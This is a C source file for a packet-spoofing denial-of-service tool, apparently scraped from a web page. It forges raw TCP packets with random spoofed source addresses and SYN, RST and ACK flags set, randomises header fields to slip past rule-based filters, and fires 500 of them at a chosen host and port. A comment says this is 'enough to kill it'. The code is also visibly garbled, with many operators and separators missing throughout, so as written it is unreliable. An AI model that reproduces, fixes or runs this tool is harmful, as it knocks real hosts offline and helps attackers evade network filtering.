<html>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
#include <netdb.h>

unsigned short compute_tcp_checksum(struct tcphdr *thint len,
          
unsigned long saddrunsigned long daddr)
{
        
unsigned long sum;
        
__asm__("
            addl %%ecx, %%ebx
            adcl %%edx, %%ebx
            adcl $0, %%ebx
            "
        
"=b"(sum)
        : 
"0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
        : 
"bx""cx""dx" );
        
__asm__("
            movl %%ecx, %%edx
            cld
            cmpl $32, %%ecx
            jb 2f
            shrl $5, %%ecx
            clc
1:          lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            lodsl
            adcl %%eax, %%ebx
            loop 1b
            adcl $0, %%ebx
            movl %%edx, %%ecx
2:          andl $28, %%ecx
            je 4f
            shrl $2, %%ecx
            clc
3:          lodsl
            adcl %%eax, %%ebx
            loop 3b
            adcl $0, %%ebx
4:          movl $0, %%eax
            testw $2, %%dx
            je 5f
            lodsw
            addl %%eax, %%ebx
            adcl $0, %%ebx
            movw $0, %%ax
5:          test $1, %%edx
            je 6f
            lodsb
            addl %%eax, %%ebx
            adcl $0, %%ebx
6:          movl %%ebx, %%eax
            shrl $16, %%eax
            addw %%ax, %%bx
            adcw $0, %%bx
            "
        
"=b"(sum)
        : 
"0"(sum), "c"(len), "S"(th)
        : 
"ax""bx""cx""dx""si" );
        return((~
sum) & 0xffff);
}

#define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr)  )
#define tcp_offset  ( sizeof(struct iphdr) )
#define err(x) { fprintf(stderr, x); exit(1); }
#define errors(x, y) { fprintf(stderr, x, y); exit(1); }
struct iphdr temp_ip;
int temp_socket 0;

u_short
ip_checksum 
(u_short bufint nwords)
{
  
unsigned long sum;

  for (
sum 0nwords 0nwords--)
    
sum += *buf++;
  
sum = (sum >> 16) + (sum 0xffff);
  
sum += (sum >> 16);
  return ~
sum;
}

void
fixhost 
(struct sockaddr_in *addrchar *hostname)
{
  
struct sockaddr_in *address;
  
struct hostent *host;

  
address = (struct sockaddr_in *) addr;
  (
voidbzero ((char *) addresssizeof (struct sockaddr_in));
  
address->sin_family AF_INET;
  
address->sin_addr.s_addr inet_addr (hostname);
  if ((int) 
address->sin_addr.s_addr == -1)
    {
      
host gethostbyname (hostname);
      if (
host)
        {
          
bcopy (host->h_addr, (char *) &address->sin_addr,
                 
host->h_length);
        }
      else
        {
          
puts ("Couldn't resolve address!!!");
          exit (-
1);
        }
    }
}

unsigned int
lookup 
(host)
     
char *host;
{
  
unsigned int addr;
  
struct hostent *he;

  
addr inet_addr (host);
  if (
addr == -1)
    {
      
he gethostbyname (host);
      if ((
he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
        return 
0;

      
bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
    }
  return (
addr);
}

unsigned short
lookup_port 
(p)
     
char *p;
{
  
int i;
  
struct servent *s;

  if ((
atoi (p)) == 0)
    {
      if ((
getservbyname (p"tcp")) == NULL)
        
errors ("Unknown port %s\n"p);
      
ntohs (s->s_port);
    }
  return ((
unsigned shorti);
}

void
spoof_packet 
(struct sockaddr_in localint fromport
           
struct sockaddr_in remoteint toportulong sequence
           
int socku_char theflagulong acknum
           
char *packdataint datalen)
{
  
char *packet;
  
int tempint;
  if (
datalen 0)
    
datalen++;
  
packet = (char *) malloc (psize datalen);
  
tempint toport;
  
toport fromport;
  
fromport tempint;
  {
    
struct tcphdr *fake_tcp;
    
fake_tcp = (struct tcphdr *) (packet tcp_offset);
    
fake_tcp->th_dport htons (fromport);
    
fake_tcp->th_sport htons (toport);
    
fake_tcp->th_flags theflag;
    
fake_tcp->th_seq random ();
    
fake_tcp->th_ack random ();
    
/* this is what really matters, however i randomize everything else
       to prevent simple rule based filters */
    
fake_tcp->th_off random ();
    
fake_tcp->th_win random ();
    
fake_tcp->th_urp random ();
  }
  if (
datalen 0)
    {
      
char *tempbuf;
      
tempbuf = (char *) (packet tcp_offset sizeof (struct tcphdr));
      for (
tempint 0tempint datalen 1tempint++)
        {
          *
tempbuf = *packdata;
          *
tempbuf++;
          *
packdata++;
        }
      *
tempbuf '\r';
    }
  {
    
struct iphdr *real_ip;
    
real_ip = (struct iphdr *) packet;
    
real_ip->version 4;
    
real_ip->ihl 5;
    
real_ip->tot_len htons (psize datalen);
    
real_ip->tos 0;
    
real_ip->ttl 64;
    
real_ip->protocol 6;
    
real_ip->check 0;
    
real_ip->id 10786;
    
real_ip->frag_off 0;
    
bcopy ((char *) &local.sin_addr, &real_ip->daddrsizeof (real_ip->daddr));
    
bcopy ((char *) &remote.sin_addr, &real_ip->saddrsizeof (real_ip->saddr));
    
temp_ip.saddr htonl (ntohl (real_ip->daddr));
    
real_ip->daddr htonl (ntohl (real_ip->saddr));
    
real_ip->saddr temp_ip.saddr;
    
real_ip->check ip_checksum ((u_short *) packetsizeof (struct iphdr) >> 1);
    {
      
struct tcphdr *another_tcp;
      
another_tcp = (struct tcphdr *) (packet tcp_offset);
      
another_tcp->th_sum 0;
      
another_tcp->th_sum compute_tcp_checksum (another_tcpsizeof (struct tcphdr) + datalen,
                                       
real_ip->saddrreal_ip->daddr);
    }
  }
  {
    
int result;
    
sock = (int) temp_socket;
    
result sendto (sockpacketpsize datalen0,
                     (
struct sockaddr *) &remotesizeof (remote));
  }
  
free (packet);
}

void
main 
(argcargv)
     
int argc;
     
char **argv;
{
  
unsigned int daddr;
  
unsigned short dport;
  
struct sockaddr_in sin;
  
int si;
  
struct sockaddr_in localremote;
  
u_long start_seq 4935835 getpid ();

  if (
argc != 3)
    
errors ("Usage: %s <dest_addr> <dest_port>\n\nDest port of 23n",
          
argv[0]);

  if ((
socket (AF_INETSOCK_RAWIPPROTO_RAW)) == -1)
    
err ("Unable to open raw socket.\n");
  if ((
temp_socket socket (AF_INETSOCK_RAWIPPROTO_RAW)) == -1)
    
err ("Unable to open raw socket.\n");
  if (!(
daddr lookup (argv[1])))
    
err ("Unable to lookup destination address.\n");
  
dport lookup_port (argv[2]);
  
sin.sin_family AF_INET;
  
sin.sin_addr.s_addr daddr;
  
sin.sin_port dport;
  
fixhost ((struct sockaddr_in *)(struct sockaddr *) &localargv[1]);
  
fixhost ((struct sockaddr_in *)(struct sockaddr *) &remoteargv[1]);
  
/* 500 seems to be enough to kill it */
  
for (0500i++)
    {
      
start_seq++;
      
local.sin_addr.s_addr random ();
      
spoof_packet (localrandom (), remotedportstart_seq, (int) s,
        
TH_SYN TH_RST TH_ACK0NULL0);
    }
}